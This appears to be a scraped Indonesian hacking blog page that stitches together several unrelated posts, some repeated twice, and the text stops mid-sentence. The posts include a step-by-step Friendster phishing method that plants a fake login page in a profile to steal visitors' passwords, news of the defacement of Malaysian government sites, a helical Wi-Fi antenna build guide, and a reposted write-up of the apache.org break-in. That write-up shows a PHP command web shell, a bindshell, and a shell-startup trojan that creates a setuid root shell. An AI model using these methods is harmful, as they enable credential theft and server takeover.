Kali ini saya akan menerangkan cara mendapatkan password Account Friendster. Tidak usah susah payah membuat testimonial redirect dan meng-upload halaman php tipuan atau apalah. Lagipula bug itu sudah di-patch oleh pengelolanya :). Oke kali ini teknik dari blognya mas Sepri. Sampai saat tulisan ini dibuat teknik ini masih bisa dilakukan dan katanya 10000% berjalan
Begini langkah-langkahnya :
1. Download Script-nya mas Sepri di LINK INI
2. Buka pakai Word atau Wordpad biar yg ia tandai bisa terlihat
3. Kalian cukup ganti Nomor yang dia tandai BIRU
Ganti pakai nomor ID kamu di FS. Cara liatnya? Gampang…
Tingall logout dari Account FS kalian. Lalu masuk ke URL halaman FS kamu tanpa Login. Nanti di Address Box ada tulisan kayak gini : http://www.friendster.com/%USER ID KAMU%.
Misalnya User ID-nya adalah 16419975 maka kalimatnya adalah http://www.friendster.com/16419975.
Copy user ID (angka-angkanya aja) FS kamu dan gantikan angka-angka yang ditandai biru di Script tersebut dengan User ID FS yang sudah di-copy.
4. Buka LINK INI
5. Copy kode yang dari Script yang udah di rubah ke bagian atas
6. Tekan GENERATE
7. Copy code yang bawah
8. Paste di MEDIA BOX halaman FS kamu.
Selesai
Cara kerjanya adalah :
Sang korban melihat profile kita terus dalam hitungan menit
profile tersebut berubah menjadi tampilan log-in
dan bagi yang ga merhatikan mungkin ini login asli soalnya masih
dalam address friendster…….
Padahal ini adalah halaman send message yang ia rubah menjadi halaman log-in. Jadi kalau diisi tuh Korban secara otomatis kirim message ke kita dan kita ga perlu report2 bikin php atau apalah
nah kenapa saya suruh ganti nomor ID FS tersebut soalnya itu adalah nomor ID mas Sepri jadi kalau ga dirubah
maka pesannya akan masuk ke FS mas Sepri huehuehueh…..
Kode ini hanya berlaku untuk mencuri Password FS yang sudah di generate emailnya dan bagi yang belum digenerate selamatlah anda……
Ads by Google
PDF Password Cracker
Recover Acrobat PDF file to allow read, edit, copy, and print.
www.crackpdf.comPassword Breaking
Is it possible to recover lost password. Method and analysis
www.hackedinfo.com/Kursus Bahasa Inggris
ONLINE, lewat internet. Rp 30.000 per bulan. Dua bulan dijamin bisa
www.carakita.comHacker Summary
A Complete Academic Resource 24 Pages of Related Content
BookRags.com
*** SHOUT-BOEX ***
FEEDJIT Live Traffic Feed
*** MY MUCIEX ***
Kamis, 18 Desember 2008
Hacker Indonesia Serang Situs Malaysia
Hacker Indonesia Mulai Ganyang Malaysia
Jakarta, KCM
Setelah situs milik Ketua Pengarah Kerja Raya (KPKR) Malaysia
(www.jkr.gov.my) yang diubah tampilannya oleh hacker Indonesia
dikembalikan ke asalnya, kini giliran situs milik pemerintah Sultan
Perak dan YellowPages Malaysia "dikerjain" oleh hacker Indonesia .
Situs Sultan Perak diubah isinya (deface) menjadi gambar merah putih
dengan tulisan INDONESIA berhuruf besar. Di Bawahnya ada teks
berjalan bertuliskan "jangan ganggu tanahku", dan diteruskan dengan
teks Pancasila lengkap.
Uniknya, sang penyerang yang menyebut dirinya Kupuss memasang
fotonya sedang bergandengan dengan Dian Sastro. Foto itu diambil
dari salah satu adegan film "Ada Apa Dengan Cinta", dimana wajah
Nicolas Saputra diganti dengan wajahnya sendiri (entah asli atau
tidak).
Di bawah foto ada keterangan berbunyi, "COBA LIAT GANTENG GAK AKU
SAMA DIAN SASTRO NIH". Sedangkan di atas foto, sang hacker
menyampaikan pesan: THANK"S TO ALL OFF INDONESIAN HACKERS, GOD BLESS
US, ALLAH HU AKBAR.
Lalu ke bawah lagi, sang penyerang menuliskan LONGLIFE INDONESIA,
DEFACED BY KUPUSS. Hacker juga mengucapkan terimakasih pada beberapa
kelompok hacker dengan kata-kata, THANKS TO ALL CREW @ #MEDANHACKER
#MALANGHACKERLINK #KREDITCARD #GRESIKCARDING #KARTUBEBEN
#YOGYACARDINGX.
Bila Anda sekarang membuka alamat
http://www.pejsultanperak.gov.my/~pejsulprkadm/valey.htm , Anda akan
menemukan tampilan seperti di atas.
Sedangkan situs kedua yang diserang adalah YellowPages Malaysia
dengan alamat http://www.klpages.com/. Ketika situs ini dibuka, lagu
Indonesia Raya akan berkumandang.
Situs dengan latar belakang hitam ini dihiasi tulisan berwarna hijau
dengan bunyi: In the name of Allah, the Most Merciful, the Most Kind
ACHTUNG !!!
BaD^BoY^but^NiCe was here...!!!
Sang hacker yang menyebut diri bad boy but nice itu mengirim pesan
pada Perdana Menteri Malaysia. Isinya kira-kira berupa tantangan
perang, yakni: Message to the Perdana Menteri Dato' Seri Abdullah
Hj. Ahmad Badawi : u want a WAR ? We'll give you a WAR !!!
Ia juga meminta agar Malaysia keluar dari wilayah Indonesia segera.
Itu diwujudkan dalam kalimat: Message to the Malaysian government :
Retreat from Indonesian area A.S.A.P !!! Ganyang MALAYSIA !!!
Di akhir pesan, sang hacker mengutip semboyan revolusioner yang
dipopulerkan Che Guevara: Hasta La Victoria Siempre !!! © 2005
BaD^BoY^but^NiCe.
Adapun perilaku merusak situs-situs Malaysia ini diduga merupakan
imbas dari ketegangan antara Indonesia-Malaysia menyangkut status
blok Ambalat yang diklaim kedua belah pihak. Hal serupa pernah juga
dialami situs-situs Australia ketika negara kangguru itu dianggap
ikut campur masalah Timor Timur dan celah Timor. (wsn)
Jakarta, KCM
Setelah situs milik Ketua Pengarah Kerja Raya (KPKR) Malaysia
(www.jkr.gov.my) yang diubah tampilannya oleh hacker Indonesia
dikembalikan ke asalnya, kini giliran situs milik pemerintah Sultan
Perak dan YellowPages Malaysia "dikerjain" oleh hacker Indonesia .
Situs Sultan Perak diubah isinya (deface) menjadi gambar merah putih
dengan tulisan INDONESIA berhuruf besar. Di Bawahnya ada teks
berjalan bertuliskan "jangan ganggu tanahku", dan diteruskan dengan
teks Pancasila lengkap.
Uniknya, sang penyerang yang menyebut dirinya Kupuss memasang
fotonya sedang bergandengan dengan Dian Sastro. Foto itu diambil
dari salah satu adegan film "Ada Apa Dengan Cinta", dimana wajah
Nicolas Saputra diganti dengan wajahnya sendiri (entah asli atau
tidak).
Di bawah foto ada keterangan berbunyi, "COBA LIAT GANTENG GAK AKU
SAMA DIAN SASTRO NIH". Sedangkan di atas foto, sang hacker
menyampaikan pesan: THANK"S TO ALL OFF INDONESIAN HACKERS, GOD BLESS
US, ALLAH HU AKBAR.
Lalu ke bawah lagi, sang penyerang menuliskan LONGLIFE INDONESIA,
DEFACED BY KUPUSS. Hacker juga mengucapkan terimakasih pada beberapa
kelompok hacker dengan kata-kata, THANKS TO ALL CREW @ #MEDANHACKER
#MALANGHACKERLINK #KREDITCARD #GRESIKCARDING #KARTUBEBEN
#YOGYACARDINGX.
Bila Anda sekarang membuka alamat
http://www.pejsultanperak.gov.my/~pejsulprkadm/valey.htm , Anda akan
menemukan tampilan seperti di atas.
Sedangkan situs kedua yang diserang adalah YellowPages Malaysia
dengan alamat http://www.klpages.com/. Ketika situs ini dibuka, lagu
Indonesia Raya akan berkumandang.
Situs dengan latar belakang hitam ini dihiasi tulisan berwarna hijau
dengan bunyi: In the name of Allah, the Most Merciful, the Most Kind
ACHTUNG !!!
BaD^BoY^but^NiCe was here...!!!
Sang hacker yang menyebut diri bad boy but nice itu mengirim pesan
pada Perdana Menteri Malaysia. Isinya kira-kira berupa tantangan
perang, yakni: Message to the Perdana Menteri Dato' Seri Abdullah
Hj. Ahmad Badawi : u want a WAR ? We'll give you a WAR !!!
Ia juga meminta agar Malaysia keluar dari wilayah Indonesia segera.
Itu diwujudkan dalam kalimat: Message to the Malaysian government :
Retreat from Indonesian area A.S.A.P !!! Ganyang MALAYSIA !!!
Di akhir pesan, sang hacker mengutip semboyan revolusioner yang
dipopulerkan Che Guevara: Hasta La Victoria Siempre !!! © 2005
BaD^BoY^but^NiCe.
Adapun perilaku merusak situs-situs Malaysia ini diduga merupakan
imbas dari ketegangan antara Indonesia-Malaysia menyangkut status
blok Ambalat yang diklaim kedua belah pihak. Hal serupa pernah juga
dialami situs-situs Australia ketika negara kangguru itu dianggap
ikut campur masalah Timor Timur dan celah Timor. (wsn)
Senin, 08 Desember 2008
CARA BOBOL PRIFAL ALBUM FRIENDSTER
BY: MBCNET
warnet jl.samudra no 1 magetan
Masukkan UID dari user FS yg mau di lihat fotonya
Rabu, 03 Desember 2008
********FUCK YOU MY WOMEN*********
Ku ukir namamu direlung hati yang terdalam,
Kurasakan desah napasmu,aliran darahmu,
denyut nadimu dalam kalbuku,Kuilhami kalimat syair syair cerita cintamu,Namun semua itu tak mam pu ntuk membina mahligai cerita cinta kita, Wahai...Sekya...Dancok...Njaran....begitu kejam engkau dengan goresan cintamu,Engkau berburu cinta hanya demi kepuasan Napsumu belaka,tak adakah cerita tentang cinta sejati dalam batinmu,Mengapa selalu kau lukai setiap insan yang menyayangimu, Wahai...Sekya...Dancok Njaran....Tunjukkan cinta sejatimu pada daku,walaupun kita tak mungkin ntuk bersatu lagi
karna penyesalanku begitu dalam padamu,
Tunjukan keagungan tuhanyang telah memberikan Anugrahnya,padamu karna kau tlah di beri rasa kasih sayang,jangan kau dustai batinmu ...engkau masih punya cinta,kau....masih punya cinta sejatiiiiiiii, Senandung rinduku ntukmu,kenangan kenangan indah kita ,
biarlah jadi lukisan cerita kehidupann kita,
Doa doaku slalu bersamamu,
Sadarlah wahai kau gadis binal ku,......
Selasa, 02 Desember 2008
perbedaan Hacker dan Cracker
hacker tidak sama dengan craker
-.hacker menguasai bahasa pemprograman seperti bahasa C,python,html,mysql dll yang berhubungan dengan networking dan database.untuk lebih mudahnya memahami linux untuk turunan bahasa c.membuat tool sendiri untuk memudahkan mencari kelemahan web atau database orang lain.
- cracker membelajakan credit card dari orang lain untuk berbelanja ke website e-comerce dengan memasukan no kartu kredit dan passwd.Banyak tool yg instant yg dipakai dari donwload di internet.
-kode etik hecker tidak boleh merubah semua yang ada di website tapi hanya meniggalkan jejak atau tanda bahwa web atau database tersebut telah berhasil dibuka oleh orang lain.
tidak boleh mencopy data privat apapun dari web/database yg disimpan.
-hacker putih sebagai pengkoreksi untuk "hole" yg bisa dimasuki oleh orang lain dan memberi tanda kalua ada hole di web/database tersebut dan memberi solusi.
-hacker hitam mengcopy database untuk kerperluan si hacker.merubah syntac program,blok web sehingga tidak bs di akses/menganti tampilan.
-hacker terbuka untuk hacker putih yng meninggal kan tanda,logo atau inisial bahwa dia pernah berhasil membuka kunci.
-hacker tersembunyi hanya berniat membuka database/web diserver saja tanpa menigalkan jejak.
-.hacker menguasai bahasa pemprograman seperti bahasa C,python,html,mysql dll yang berhubungan dengan networking dan database.untuk lebih mudahnya memahami linux untuk turunan bahasa c.membuat tool sendiri untuk memudahkan mencari kelemahan web atau database orang lain.
- cracker membelajakan credit card dari orang lain untuk berbelanja ke website e-comerce dengan memasukan no kartu kredit dan passwd.Banyak tool yg instant yg dipakai dari donwload di internet.
-kode etik hecker tidak boleh merubah semua yang ada di website tapi hanya meniggalkan jejak atau tanda bahwa web atau database tersebut telah berhasil dibuka oleh orang lain.
tidak boleh mencopy data privat apapun dari web/database yg disimpan.
-hacker putih sebagai pengkoreksi untuk "hole" yg bisa dimasuki oleh orang lain dan memberi tanda kalua ada hole di web/database tersebut dan memberi solusi.
-hacker hitam mengcopy database untuk kerperluan si hacker.merubah syntac program,blok web sehingga tidak bs di akses/menganti tampilan.
-hacker terbuka untuk hacker putih yng meninggal kan tanda,logo atau inisial bahwa dia pernah berhasil membuka kunci.
-hacker tersembunyi hanya berniat membuka database/web diserver saja tanpa menigalkan jejak.
Membuat Sendiri Antenna Wireless Internet 2.4GHz
Oleh : Onno W. Purbo
Mungkinkah membuat sendiri antenna untuk WLAN 2.4GHz? Mengapa tidak? Ada beberapa referensi menarik di Internet yang dapat memberikan inspirasi bagaimana membuat sendiri Antenna 2.4GHz sendiri, diantaranya adalah:
http://users.bigpond.net.au/jhecker/ (antenna helical)
http://www.saunalahti.fi/~elepal/antenna1.html (antenna dipole / yagi sederhana).
http://www.seattlewireless.net/index.cgi/BuildingYagiAntennas (antenna yagi).
http://www.qsl.net/ki7cx/wgfeed.htm (feed system untuk parabola).
Dll. masih banyak lagi.
Salah satu antenna yang saya lihat paling menarik adalah antenna helical yang dirancang oleh Jason Hecker (jason@air.net.au). Untuk memberikan gambaran bagi para pembaca saya coba terjemahkan secara bebas penjelasan Jason dari http://users.bigpond.net.au/jhecker/.
Komponen yang perlu disiapkan antara lain adalah:
1 x 0.55 meter pipa pralon diameter 40 mm (40 mm inner, 42-43 mm outer).
1 x 40 mm (diameter) penutup pralon.
1 x 150 mm (diameter) penutup pralon atau potongan plastik / kayu yang tenbal dengan diameter yang sama.
2 x 25 mm atau 35 mm baut U.
8 x mur untuk baut U.
8 x ring untuk baut U.
1 x 5/16” baut (yang pendek) dengar mur & ring yang cocok.
1 x lempengan kuningan dengan ketebalan 0.4-0.7 mm secukupnya untuk dipotong dengan lingkaran berdiameter 130 mm.
Kabel tembaga diamter 1 mm berlapis email sepanjang beberapa meter.
1 x konektor N untuk di letakan di panel.
3 x mur & ring untuk konektor N tersebut.
Print PDF file berisi pattern antenna helical, atau membuat sendiri dari perhitungan di bawah. File PDF dapat di ambil dari http://users.bigpond.net.au/jhecker/.
Lem Araldite yang lambat mengeringnya.
Lem Loctite 424 atau yang mirip (seperti superglue atau hotglue gun).
Penutup silicon.
Selotape.
Peralatan yang dibutuhkan:
Gergaji.
Meja yang rata / datar.
Pemotong kabel.
Kunci untuk baut 5/16”.
Obeng untuk konektor N.
Bor
Solder
Gunting (untuk menggunting lempeng kuningan).
Pisau.
Langkah membuat antenna tersebut adalah:
Print & potong template dari PDF file yang anda ambil di http://users.bigpond.net.au/jhecker/. Ada tiga file, yaitu, circle.pdf dan rhspiral.pdf atau lhspiral.pdf. Gunakan rhspiral untuk right handed spiral helicals dan lhspiral untuk left handed spirals. Anda membutuhkan circle untuk membuat ground plane (reflector), kecuali jika anda dapat membuat lingkaran dengan diamter 130 mm yang baik.
Potong pipa pralon 40 mm sepanjang 550 mm (55 cm).
Lilitan template lilitan rhspiral atau lhspiral di pipa pralon dan selotape ujung-ujungnya. Tidak masalah anda menggunakan RIGHT atau LEFT handed template selama ujung-ujungnya menyambung. Pastikan spiral yang kita gambar menyambung ujung ke ujung. Sedikit gap tidak terlalu masalah. Yang perlu di ingat bahwa jika anda menyatukan LEFT & RIGHT handed helical, maka total sinyal akan saling mematikan.
11.bmp
Di ujung awal tempate akan menjadi tempat menempelkan ke dasar antenna. Sebaiknya ujung awal di lebihkan sedikit untuk mengkompensasi ketebalan penutup pralon 40 mm. Seperti tampak pada gambar.
2.bmp
Gunakan ujung yang lancip seperti cutter, beri tanda pada template sepanjang jalur helical dalam interval tetap, misalnya 5 atau 6 tanda setiap putaran. Dengan cara ini kita akan meninggalkan tanda pada pralon untuk memudahkan pada saat kita melilit kabel email. Beri tanda di mana kabel email berhenti di pipa pralon. Anda harusnya mempunyai beberapa mm kelebihan di pipa pralon. Hal ini OK.
Lilitan kabel tembaga berlapis email dan gunakan superglue atau Loctite 424 untuk menempelkan kabel ke tempat akhir kabel di pipa pralon. Perlahan lilitkan kabel sepanjang pipa pralon ikuti tanda spiral yang telah kita toreh di pipa pralon. Pada interval yang sama, misalnya setiap ½ atau 1/3 lilit, tambahkan lem untuk menempelkan kabel di tempatnya.
Pada saat anda mendekati akhir lilitan, lilitan terakhir jangan di lem. Biarkan cukup banyak kabel (10 cm atau lebih) di akhir lilitan. Biarkan dulu beberapa saat sampai lem mengering.
Potong lempengan kuningan atau tembaha dengan diameter 130 mm diambil dari circle.pdf
Bor lubang pada penutup pralon 150 mm dan lempengan 130 mm untuk baut dan konektor N. Semua berpusat pada penutup pralon 40 mm yang akan ditempelkan para penutup pralon 150 mm. Posisikan konektor N pada pinggiran kanan dari penutup pralon 40 mm.
31.bmp
Potong penutup pralon 40 mm agar ada tempat cukup untuk konektor N maupun lubang baut-nya yang tiga buah itu. Untuk memberikan gambaran potongan lihat gambar.
4.bmp
Lubangi di tengah penutup pralon agar cukup untuk baut 5/16”. Penutup pralon dengan potongan maupun lubang baut tampak pada gambar.
5.bmp
Baut penutup pralon 40 mm dan 150 mm menjadi satu seperti tampak pada gambar. (konektor N & reflektor belum terpasang).
6.bmp
Tempat penempelan baut U terserah kepada kita tergantung pada ukunran-nya 25 atau 35 mm atau berapapun. Pastikan agar tidak mengganggu pada saat kita memasang kabel coax di konektor N.
Pasang lempengan tembaga atau aluminium 130 mm pada penutup pralon 150 mm, dan bautkan pada penutup pralon 40 mm. Pastikan semua lubang pada lempengan dan penutup pralon pas.
Sambungkan konektor N.
Untuk dapat matching impedansi antenna yang biasa sekitar 150 ohm untuk antenna helical ke kabel coax yang hanya 50 ohm, anda membutuhkan lempengan tembaga atau kuningan selebar 15-20 mm. Potong lempengan tersebut diagonal dan hubungkan dari konektor N ke ujung antenna. Ukuran potongan tembaga yang digunakan pada sisi tegak adalah 17 mm dan 71 mm dengan diagonal 73 mm. Lempeng aluminium tidak dapat di solder, jadi jangan digunakan. Lempeng kuningan yang baik digunakan. Lihat gambar untuk jelasnya.
7.bmp
Masukan pipa pralon ke penutup pralon 40 mm dan tandai dimana spiral akan bertemu dengan ujung penutup. Potong kabel email yang berlebih disini, gunakan ampelas untuk menghilangkan email yang ada agar siap di solder.
Solder lempeng tembaga yang baru kita buat di atas ke kabel email dari spiral helical. Gunakan lem seperlunya. Mungkin anda perlu melakukan trimming dari lempengan lembaga untuk mencocokan ukuran.
Pada saat pipa pralon masuk secara penuh ke penutup pralon 40 mm, seharusnya pipa akan masuk dengan baik. Setelah itu lempengan tembaha yang menjadi matching impedansi di solder ke konektor N.
Agar pipa pralon menempel dengan baik ke penutup pralon 40 mm, ampelas permukaan kedua benda yang akan saling berhubungan ini dengan ampelas agar lem yang kita gunakan dapat lebih baik menempelkan pralon.
Gunakan lem Araldite yang SLOW DRYING (bukan 5 menit). Letakan Araldite di ujung bawah pipa pralon & di dalam penutup pralon. Atur posisi konektor N & rangkaian matching impedansinya.
Biarkan lem mengering (sekitar satu hari). Pasang baut U dan anda sudah memiliki sebuah antenna helical. Bentuk konektor N yang menonjol melalui lempengan tembaga yang terhubung pada lempengan matching impedansi tembaga tampak pada gambar.
8.bmp
Alasan utama mengapa penutup 150 mm digunakan agar kita dapat menutup selurtuh konstruksi antenna menggunakan pipa pralon 150 mm sehingga aman dari ganggung cuaca burung dll.
Beberapa hal penting
Test pipa pralon yang akan digunakan untuk antenna di dalam oven microwave. Kalau pipa pralon menjadi panas setelah di oven selama 2 menit-an, artinya bahan pipa pralon tersebut tidak baik untuk antenna, karena akan mengambil energi radio.
Rangkaian matching impedensi di atas tidak terlalu sensitif.
Antenna ini cukup baik digunakan untuk jarak 3-4 km dengan line of sight yang baik.
Ada banyak kemungkinan variasi disain, misalnya kita dapat mengunakan PCB yang di etch sesuai dengan pola circle sebagai reflektor.
Mungkinkah membuat sendiri antenna untuk WLAN 2.4GHz? Mengapa tidak? Ada beberapa referensi menarik di Internet yang dapat memberikan inspirasi bagaimana membuat sendiri Antenna 2.4GHz sendiri, diantaranya adalah:
http://users.bigpond.net.au/jhecker/ (antenna helical)
http://www.saunalahti.fi/~elepal/antenna1.html (antenna dipole / yagi sederhana).
http://www.seattlewireless.net/index.cgi/BuildingYagiAntennas (antenna yagi).
http://www.qsl.net/ki7cx/wgfeed.htm (feed system untuk parabola).
Dll. masih banyak lagi.
Salah satu antenna yang saya lihat paling menarik adalah antenna helical yang dirancang oleh Jason Hecker (jason@air.net.au). Untuk memberikan gambaran bagi para pembaca saya coba terjemahkan secara bebas penjelasan Jason dari http://users.bigpond.net.au/jhecker/.
Komponen yang perlu disiapkan antara lain adalah:
1 x 0.55 meter pipa pralon diameter 40 mm (40 mm inner, 42-43 mm outer).
1 x 40 mm (diameter) penutup pralon.
1 x 150 mm (diameter) penutup pralon atau potongan plastik / kayu yang tenbal dengan diameter yang sama.
2 x 25 mm atau 35 mm baut U.
8 x mur untuk baut U.
8 x ring untuk baut U.
1 x 5/16” baut (yang pendek) dengar mur & ring yang cocok.
1 x lempengan kuningan dengan ketebalan 0.4-0.7 mm secukupnya untuk dipotong dengan lingkaran berdiameter 130 mm.
Kabel tembaga diamter 1 mm berlapis email sepanjang beberapa meter.
1 x konektor N untuk di letakan di panel.
3 x mur & ring untuk konektor N tersebut.
Print PDF file berisi pattern antenna helical, atau membuat sendiri dari perhitungan di bawah. File PDF dapat di ambil dari http://users.bigpond.net.au/jhecker/.
Lem Araldite yang lambat mengeringnya.
Lem Loctite 424 atau yang mirip (seperti superglue atau hotglue gun).
Penutup silicon.
Selotape.
Peralatan yang dibutuhkan:
Gergaji.
Meja yang rata / datar.
Pemotong kabel.
Kunci untuk baut 5/16”.
Obeng untuk konektor N.
Bor
Solder
Gunting (untuk menggunting lempeng kuningan).
Pisau.
Langkah membuat antenna tersebut adalah:
Print & potong template dari PDF file yang anda ambil di http://users.bigpond.net.au/jhecker/. Ada tiga file, yaitu, circle.pdf dan rhspiral.pdf atau lhspiral.pdf. Gunakan rhspiral untuk right handed spiral helicals dan lhspiral untuk left handed spirals. Anda membutuhkan circle untuk membuat ground plane (reflector), kecuali jika anda dapat membuat lingkaran dengan diamter 130 mm yang baik.
Potong pipa pralon 40 mm sepanjang 550 mm (55 cm).
Lilitan template lilitan rhspiral atau lhspiral di pipa pralon dan selotape ujung-ujungnya. Tidak masalah anda menggunakan RIGHT atau LEFT handed template selama ujung-ujungnya menyambung. Pastikan spiral yang kita gambar menyambung ujung ke ujung. Sedikit gap tidak terlalu masalah. Yang perlu di ingat bahwa jika anda menyatukan LEFT & RIGHT handed helical, maka total sinyal akan saling mematikan.
11.bmp
Di ujung awal tempate akan menjadi tempat menempelkan ke dasar antenna. Sebaiknya ujung awal di lebihkan sedikit untuk mengkompensasi ketebalan penutup pralon 40 mm. Seperti tampak pada gambar.
2.bmp
Gunakan ujung yang lancip seperti cutter, beri tanda pada template sepanjang jalur helical dalam interval tetap, misalnya 5 atau 6 tanda setiap putaran. Dengan cara ini kita akan meninggalkan tanda pada pralon untuk memudahkan pada saat kita melilit kabel email. Beri tanda di mana kabel email berhenti di pipa pralon. Anda harusnya mempunyai beberapa mm kelebihan di pipa pralon. Hal ini OK.
Lilitan kabel tembaga berlapis email dan gunakan superglue atau Loctite 424 untuk menempelkan kabel ke tempat akhir kabel di pipa pralon. Perlahan lilitkan kabel sepanjang pipa pralon ikuti tanda spiral yang telah kita toreh di pipa pralon. Pada interval yang sama, misalnya setiap ½ atau 1/3 lilit, tambahkan lem untuk menempelkan kabel di tempatnya.
Pada saat anda mendekati akhir lilitan, lilitan terakhir jangan di lem. Biarkan cukup banyak kabel (10 cm atau lebih) di akhir lilitan. Biarkan dulu beberapa saat sampai lem mengering.
Potong lempengan kuningan atau tembaha dengan diameter 130 mm diambil dari circle.pdf
Bor lubang pada penutup pralon 150 mm dan lempengan 130 mm untuk baut dan konektor N. Semua berpusat pada penutup pralon 40 mm yang akan ditempelkan para penutup pralon 150 mm. Posisikan konektor N pada pinggiran kanan dari penutup pralon 40 mm.
31.bmp
Potong penutup pralon 40 mm agar ada tempat cukup untuk konektor N maupun lubang baut-nya yang tiga buah itu. Untuk memberikan gambaran potongan lihat gambar.
4.bmp
Lubangi di tengah penutup pralon agar cukup untuk baut 5/16”. Penutup pralon dengan potongan maupun lubang baut tampak pada gambar.
5.bmp
Baut penutup pralon 40 mm dan 150 mm menjadi satu seperti tampak pada gambar. (konektor N & reflektor belum terpasang).
6.bmp
Tempat penempelan baut U terserah kepada kita tergantung pada ukunran-nya 25 atau 35 mm atau berapapun. Pastikan agar tidak mengganggu pada saat kita memasang kabel coax di konektor N.
Pasang lempengan tembaga atau aluminium 130 mm pada penutup pralon 150 mm, dan bautkan pada penutup pralon 40 mm. Pastikan semua lubang pada lempengan dan penutup pralon pas.
Sambungkan konektor N.
Untuk dapat matching impedansi antenna yang biasa sekitar 150 ohm untuk antenna helical ke kabel coax yang hanya 50 ohm, anda membutuhkan lempengan tembaga atau kuningan selebar 15-20 mm. Potong lempengan tersebut diagonal dan hubungkan dari konektor N ke ujung antenna. Ukuran potongan tembaga yang digunakan pada sisi tegak adalah 17 mm dan 71 mm dengan diagonal 73 mm. Lempeng aluminium tidak dapat di solder, jadi jangan digunakan. Lempeng kuningan yang baik digunakan. Lihat gambar untuk jelasnya.
7.bmp
Masukan pipa pralon ke penutup pralon 40 mm dan tandai dimana spiral akan bertemu dengan ujung penutup. Potong kabel email yang berlebih disini, gunakan ampelas untuk menghilangkan email yang ada agar siap di solder.
Solder lempeng tembaga yang baru kita buat di atas ke kabel email dari spiral helical. Gunakan lem seperlunya. Mungkin anda perlu melakukan trimming dari lempengan lembaga untuk mencocokan ukuran.
Pada saat pipa pralon masuk secara penuh ke penutup pralon 40 mm, seharusnya pipa akan masuk dengan baik. Setelah itu lempengan tembaha yang menjadi matching impedansi di solder ke konektor N.
Agar pipa pralon menempel dengan baik ke penutup pralon 40 mm, ampelas permukaan kedua benda yang akan saling berhubungan ini dengan ampelas agar lem yang kita gunakan dapat lebih baik menempelkan pralon.
Gunakan lem Araldite yang SLOW DRYING (bukan 5 menit). Letakan Araldite di ujung bawah pipa pralon & di dalam penutup pralon. Atur posisi konektor N & rangkaian matching impedansinya.
Biarkan lem mengering (sekitar satu hari). Pasang baut U dan anda sudah memiliki sebuah antenna helical. Bentuk konektor N yang menonjol melalui lempengan tembaga yang terhubung pada lempengan matching impedansi tembaga tampak pada gambar.
8.bmp
Alasan utama mengapa penutup 150 mm digunakan agar kita dapat menutup selurtuh konstruksi antenna menggunakan pipa pralon 150 mm sehingga aman dari ganggung cuaca burung dll.
Beberapa hal penting
Test pipa pralon yang akan digunakan untuk antenna di dalam oven microwave. Kalau pipa pralon menjadi panas setelah di oven selama 2 menit-an, artinya bahan pipa pralon tersebut tidak baik untuk antenna, karena akan mengambil energi radio.
Rangkaian matching impedensi di atas tidak terlalu sensitif.
Antenna ini cukup baik digunakan untuk jarak 3-4 km dengan line of sight yang baik.
Ada banyak kemungkinan variasi disain, misalnya kita dapat mengunakan PCB yang di etch sesuai dengan pola circle sebagai reflektor.
DEFACED APACHE.ORG
How we defaced www.apache.org
by {} and Hardbeat
/*
* Before you start reading
*/
This paper does _not_ uncover any new vulnerabilities. It points out common
(and slightly less common) configuration errors, which even the people at
apache.org made. This is a general warning. Learn from it. Fix your systems,
so we won’t have to :)
/*
* introduction
*/
This paper describes how, over the course of a week, we succeeded in
getting root access to the machine running www.apache.org, and changed
the main page to show a ‘Powered by Microsoft BackOffice’ logo instead
of the default ‘Powered by Apache’ logo (the feather). No other changes
were made, except to prevent other (possibly malicious) people getting in.
Note that the problems described in this paper are not apache-related,
these were all config errors (one of ‘m straight from BugZilla’s README,
but the README had enough warnings so I don’t blame the BugZilla developers).
People running apache httpd do not need to start worrying because of
anything uncovered herein.
We hacked www.apache.org because there are a lot of servers running apache
software and if www.apache.org got compromised, somebody could backdoor
the apache server source and end up having lots of owned boxes.
We just couldn’t allow this to happen, we secured the main ftproot==wwwroot
thing. While having owned root we just couldnt stand the urge to put that
small logo on it.
/*
* ftproot == wwwroot
* o+w dirs
*/
While searching for the laters apache httpserver to diff it the with
previous version and read that diff file for any options of new buffer
overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping of
the http://www.apache.org on that ftp including world writable directories.
So we wrote a little wuh.php3 including
passthru($cmd);
?>
and uploaded that to one of the world writable directories.
/*
* Our commands executed
*/
Unsurprisingly, ‘id’ got executed when called like
http://www.apache.org/thatdir/wuh.php3?cmd=id
Next was to upload some bindshell and compile it like calling
http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c and then
executing it like calling http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
/*
* The shell
*/
Ofcourse we used a bindshell that first requires ppl to authenticate with
a hardcoded password (:
Now we telnet to port 65533 where we binded that shell and we have local
nobody access, because cgi is running as user nobody.
/*
* The apache.org box
*/
What did we find on apache.org box:
-o=rx /root
-o=rx homedirs
apache.org is a freebsd 3.4 box. We didn’t wanted to use any buffer
overflow or some lame exploit, goal was to reach root with only
configuration faults.
/*
* Mysql
*/
After a long search we found out that mysql was
running as user root and was reachable locally. Because apache.org was
running bugzilla which requires a mysql account and has it
username/password plaintext in the bugzilla source it was easy to
get a username/passwd for the mysql database.
We downloaded nportredird and have it set up to accept connections on
port 23306 from our ips and redir them to localhost port 3306 so we could
use our own mysql clients.
/*
* Full mysql access
* use it to create files
*/
Having gained access to port 3306 coming from localhost, using the login
‘bugs’ (which had full access [as in "all Y's"]), our privs where
elevated substantially. This was mostly due to sloppy reading of the BugZilla
README which _does_ show a quick way to set things up (with all Y’s) but
also has lots of security warnings, including “don’t run mysqld as root”.
Using ‘SELECT … INTO OUTFILE;’ we were now able to create files
anywhere, as root. These files were mode 666, and we could not overwrite
anything. Still, this seemed useful.
But what do you do with this ability? No use writing .rhosts files - no
sane rshd will accept a world-writable .rhosts file. Besides, rshd
wasn’t running on this box.
/*
* our /root/.tcshrc
*/
Therefore, we decided to perform a trojan-like trick. We used database
‘test’ and created a one-column table with a 80char textfield. A couple
of inserts and one select later, we had ourselves a /root/.tcshrc with
contents similar to:
#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc
/*
* ROOT!!
*/
Quite trivial. Now the wait was for somebody to su -. Luckily, with 9
people legally having root, this didn’t take long. The rest is trivial
too - being root the deface was quickly done, but not until after a
short report listing the vulnerabilities and quick fixes was build.
Shortly after the deface, we sent this report to one of the admins.
/*
* Fix that ftproot==wwwroot
*/
Another thing we did before the deface, was creating a file ‘ftproot’ in
the wwwroot (which was also ftproot), moving ‘dist’ to ‘ftproot/dist’
and changing the ftproot to this new ‘ftproot’ dir, yielding the
